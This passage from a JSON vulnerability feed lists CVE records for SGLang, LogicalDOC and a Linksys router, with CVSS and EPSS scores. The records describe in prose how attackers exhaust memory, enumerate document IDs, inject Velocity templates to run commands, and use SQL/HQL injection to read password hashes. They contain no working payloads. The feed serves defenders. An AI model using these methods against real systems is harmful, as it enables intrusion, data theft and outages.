Remote attackers can submit high-resolution videos to /v1/chat/completions on Qwen-VL deployments, and concurrent requests exhaust worker memory causing denial of service.","detail":"SGLang through 0.5.21 contains an unbounded memory allocation vulnerability in preprocess_video in qwen_vl.py that decodes frames at full source resolution before applying max_pixels limits. Remote attackers can submit high-resolution videos to /v1/chat/completions on Qwen-VL deployments, and concurrent requests exhaust worker memory causing denial of service.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T14:17:11.923Z","updatedAt":"2026-10-18T12:17:02.390Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109227","asOf":"2026-10-18T12:17:02.390Z"},"epss":{"probability":0.00505,"percentile":0.42862,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109227&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109227","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109227","type":"primary","publishedAt":"2026-10-12T14:17:11.923Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109227&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109227, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109226","cveId":"CVE-2026-109226","aliases":[],"kind":"vulnerability","title":"SGLang through 0.5.21 contains a decompression amplification vulnerability in load_audio that allows remote attackers to exhaust memory by submitting highly compressed audio...","summary":"SGLang through 0.5.21 contains a decompression amplification vulnerability in load_audio that allows remote attackers to exhaust memory by submitting highly compressed audio decoded without duration or sample limits. Attackers can supply small FLAC-encoded silence files through audio_url or audio_data inputs that expand into massive PCM buffers, exhausting worker memory and CPU for denial of service.","detail":"SGLang through 0.5.21 contains a decompression amplification vulnerability in load_audio that allows remote attackers to exhaust memory by submitting highly compressed audio decoded without duration or sample limits. Attackers can supply small FLAC-encoded silence files through audio_url or audio_data inputs that expand into massive PCM buffers, exhausting worker memory and CPU for denial of service.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T14:17:11.747Z","updatedAt":"2026-10-13T19:18:13.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109226","asOf":"2026-10-13T19:18:13.833Z"},"epss":{"probability":0.00555,"percentile":0.46006,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109226&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109226","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109226","type":"primary","publishedAt":"2026-10-12T14:17:11.747Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109226&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109226, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109225","cveId":"CVE-2026-109225","aliases":[],"kind":"vulnerability","title":"SGLang through 0.5.21 contains an unbounded memory allocation vulnerability that allows unauthenticated remote attackers to exhaust memory by uploading oversized files to...","summary":"SGLang through 0.5.21 contains an unbounded memory allocation vulnerability that allows unauthenticated remote attackers to exhaust memory by uploading oversized files to /v1/audio/transcriptions. Attackers can send concurrent large multipart uploads, which are fully read into memory before validation, to crash the HTTP/tokenizer worker and deny service.","detail":"SGLang through 0.5.21 contains an unbounded memory allocation vulnerability that allows unauthenticated remote attackers to exhaust memory by uploading oversized files to /v1/audio/transcriptions. Attackers can send concurrent large multipart uploads, which are fully read into memory before validation, to crash the HTTP/tokenizer worker and deny service.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T14:17:11.580Z","updatedAt":"2026-10-13T17:17:23.247Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109225","asOf":"2026-10-13T17:17:23.247Z"},"epss":{"probability":0.00428,"percentile":0.36803,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109225&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109225","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109225","type":"primary","publishedAt":"2026-10-12T14:17:11.580Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109225&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109225, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109205","cveId":"CVE-2026-109205","aliases":[],"kind":"vulnerability","title":"LogicalDOC Community Edition through 9.3 contains an unauthenticated file upload vulnerability in the UploadServlet that allows remote attackers to write files to disk without a...","summary":"LogicalDOC Community Edition through 9.3 contains an unauthenticated file upload vulnerability in the UploadServlet that allows remote attackers to write files to disk without a session. Attackers can repeatedly send multipart requests with unlimited file parts to /upload, persisting files in uncleaned temporary directories and exhausting server disk space.","detail":"LogicalDOC Community Edition through 9.3 contains an unauthenticated file upload vulnerability in the UploadServlet that allows remote attackers to write files to disk without a session. Attackers can repeatedly send multipart requests with unlimited file parts to /upload, persisting files in uncleaned temporary directories and exhausting server disk space.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T14:17:11.277Z","updatedAt":"2026-10-14T18:17:33.077Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109205","asOf":"2026-10-14T18:17:33.077Z"},"epss":{"probability":0.00422,"percentile":0.36242,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109205&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109205","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109205","type":"primary","publishedAt":"2026-10-12T14:17:11.277Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109205&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109205, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109203","cveId":"CVE-2026-109203","aliases":[],"kind":"vulnerability","title":"LogicalDOC Community Edition through 9.3 contains a missing authorization vulnerability in the ConvertPdf servlet that allows authenticated users to download restricted PDF...","summary":"LogicalDOC Community Edition through 9.3 contains a missing authorization vulnerability in the ConvertPdf servlet that allows authenticated users to download restricted PDF documents. Attackers can enumerate sequential docId values and use the version parameter to retrieve any PDF and its versions from folders they cannot access.","detail":"LogicalDOC Community Edition through 9.3 contains a missing authorization vulnerability in the ConvertPdf servlet that allows authenticated users to download restricted PDF documents. Attackers can enumerate sequential docId values and use the version parameter to retrieve any PDF and its versions from folders they cannot access.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T14:17:10.977Z","updatedAt":"2026-10-13T20:41:35.943Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109203","asOf":"2026-10-13T20:41:35.943Z"},"epss":{"probability":0.00238,"percentile":0.14756,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109203&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109203","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109203","type":"primary","publishedAt":"2026-10-12T14:17:10.977Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109203&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109203, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109202","cveId":"CVE-2026-109202","aliases":[],"kind":"vulnerability","title":"LogicalDOC Community Edition through 9.3 contains a missing authorization vulnerability in the zip-export servlet that allows authenticated users to export restricted folders by...","summary":"LogicalDOC Community Edition through 9.3 contains a missing authorization vulnerability in the zip-export servlet that allows authenticated users to export restricted folders by supplying a folderId parameter. Attackers can request /zip-export with a restricted folder ID, since ZipExport.addFolderDocuments() skips READ and DOWNLOAD permission checks, to download all of its documents in a ZIP archive.","detail":"LogicalDOC Community Edition through 9.3 contains a missing authorization vulnerability in the zip-export servlet that allows authenticated users to export restricted folders by supplying a folderId parameter. Attackers can request /zip-export with a restricted folder ID, since ZipExport.addFolderDocuments() skips READ and DOWNLOAD permission checks, to download all of its documents in a ZIP archive.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T14:17:10.827Z","updatedAt":"2026-10-13T20:41:35.943Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109202","asOf":"2026-10-13T20:41:35.943Z"},"epss":{"probability":0.00257,"percentile":0.17227,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109202&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109202","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109202","type":"primary","publishedAt":"2026-10-12T14:17:10.827Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109202&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109202, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109201","cveId":"CVE-2026-109201","aliases":[],"kind":"vulnerability","title":"LogicalDOC Community Edition through 9.3 contains a missing authorization vulnerability in SoapDocumentService operations that allows authenticated users to access and modify...","summary":"LogicalDOC Community Edition through 9.3 contains a missing authorization vulnerability in SoapDocumentService operations that allows authenticated users to access and modify unauthorized documents. Attackers can call copy, getExtractedText, deleteVersion, reindex, deleteLink, or restore via SOAP or /services/rest/document with sequential document IDs to disclose, delete, or tamper with documents.","detail":"LogicalDOC Community Edition through 9.3 contains a missing authorization vulnerability in SoapDocumentService operations that allows authenticated users to access and modify unauthorized documents. Attackers can call copy, getExtractedText, deleteVersion, reindex, deleteLink, or restore via SOAP or /services/rest/document with sequential document IDs to disclose, delete, or tamper with documents.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T14:17:10.680Z","updatedAt":"2026-10-13T20:41:35.943Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109201","asOf":"2026-10-13T20:41:35.943Z"},"epss":{"probability":0.00255,"percentile":0.16954,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109201&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109201","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109201","type":"primary","publishedAt":"2026-10-12T14:17:10.680Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109201&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109201, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109199","cveId":"CVE-2026-109199","aliases":[],"kind":"vulnerability","title":"LogicalDOC Community Edition through 9.3 contains a code injection vulnerability that allows authenticated users to execute OS commands by submitting Velocity templates in...","summary":"LogicalDOC Community Edition through 9.3 contains a code injection vulnerability that allows authenticated users to execute OS commands by submitting Velocity templates in DocumentService.sendAsEmail subject or message fields. Attackers can invoke SystemTool exec methods or ClassTool, bypassing the forbidRuntimeUsage denylist, to run commands with LogicalDOC process privileges.","detail":"LogicalDOC Community Edition through 9.3 contains a code injection vulnerability that allows authenticated users to execute OS commands by submitting Velocity templates in DocumentService.sendAsEmail subject or message fields. Attackers can invoke SystemTool exec methods or ClassTool, bypassing the forbidRuntimeUsage denylist, to run commands with LogicalDOC process privileges.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T14:17:10.373Z","updatedAt":"2026-10-18T12:17:02.007Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109199","asOf":"2026-10-18T12:17:02.007Z"},"epss":{"probability":0.00393,"percentile":0.33257,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109199&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109199","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109199","type":"primary","publishedAt":"2026-10-12T14:17:10.373Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109199&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109199, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109170","cveId":"CVE-2026-109170","aliases":[],"kind":"vulnerability","title":"LogicalDOC Community Edition through 9.3 contains an HQL injection vulnerability in DocumentsDataServlet that allows authenticated users to manipulate queries via the unvalidated...","summary":"LogicalDOC Community Edition through 9.3 contains an HQL injection vulnerability in DocumentsDataServlet that allows authenticated users to manipulate queries via the unvalidated indexed parameter. Attackers with read access to any folder can inject boolean HQL expressions to bypass folder scope and read-permission checks, listing restricted document metadata and extracting database contents.","detail":"LogicalDOC Community Edition through 9.3 contains an HQL injection vulnerability in DocumentsDataServlet that allows authenticated users to manipulate queries via the unvalidated indexed parameter. Attackers with read access to any folder can inject boolean HQL expressions to bypass folder scope and read-permission checks, listing restricted document metadata and extracting database contents.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T14:17:10.223Z","updatedAt":"2026-10-13T20:41:35.943Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109170","asOf":"2026-10-13T20:41:35.943Z"},"epss":{"probability":0.00273,"percentile":0.19472,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109170&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109170","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109170","type":"primary","publishedAt":"2026-10-12T14:17:10.223Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109170&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109170, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109169","cveId":"CVE-2026-109169","aliases":[],"kind":"vulnerability","title":"LogicalDOC Community Edition through 9.3 contains a sql injection vulnerability that allows authenticated users to execute crafted SQL via the firstLetter parameter of...","summary":"LogicalDOC Community Edition through 9.3 contains a sql injection vulnerability that allows authenticated users to execute crafted SQL via the firstLetter parameter of TagsDataServlet. Low-privileged attackers can inject UNION SELECT statements returned in the XML tag list to read usernames, email addresses and password hashes from ld_user.","detail":"LogicalDOC Community Edition through 9.3 contains a sql injection vulnerability that allows authenticated users to execute crafted SQL via the firstLetter parameter of TagsDataServlet. Low-privileged attackers can inject UNION SELECT statements returned in the XML tag list to read usernames, email addresses and password hashes from ld_user.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T14:17:10.073Z","updatedAt":"2026-10-13T20:41:35.943Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109169","asOf":"2026-10-13T20:41:35.943Z"},"epss":{"probability":0.00269,"percentile":0.18835,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109169&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109169","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109169","type":"primary","publishedAt":"2026-10-12T14:17:10.073Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109169&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109169, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108894","cveId":"CVE-2026-108894","aliases":[],"kind":"vulnerability","title":"A security flaw has been discovered in Linksys E1700 1.0.0.4.003. Impacted is the function addStaticRoute of the file /goform/addStaticRoute of the component Static Route Handler.","summary":"A security flaw has been discovered in Linksys E1700 1.0.0.4.003. Impacted is the function addStaticRoute of the file /goform/addStaticRoute of the component Static Route Handler. Performing a manipulation of the argument staticRoute_IP_setting/staticRoute_Netmask_setting/staticRoute_Gateway_setting/staticRoute_Metric_setting results in os command injection. Remote exploitation of the attack is possible. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A security flaw has been discovered in Linksys E1700 1.0.0.4.003. Impacted is the function addStaticRoute of the file /goform/addStaticRoute of the component Static Route Handler. Performing a manipulation of the argument staticRoute_IP_setting/staticRoute_Netmask_setting/staticRoute_Gateway_setting/staticRoute_Metric_setting results in os command injection. Remote exploitation of the 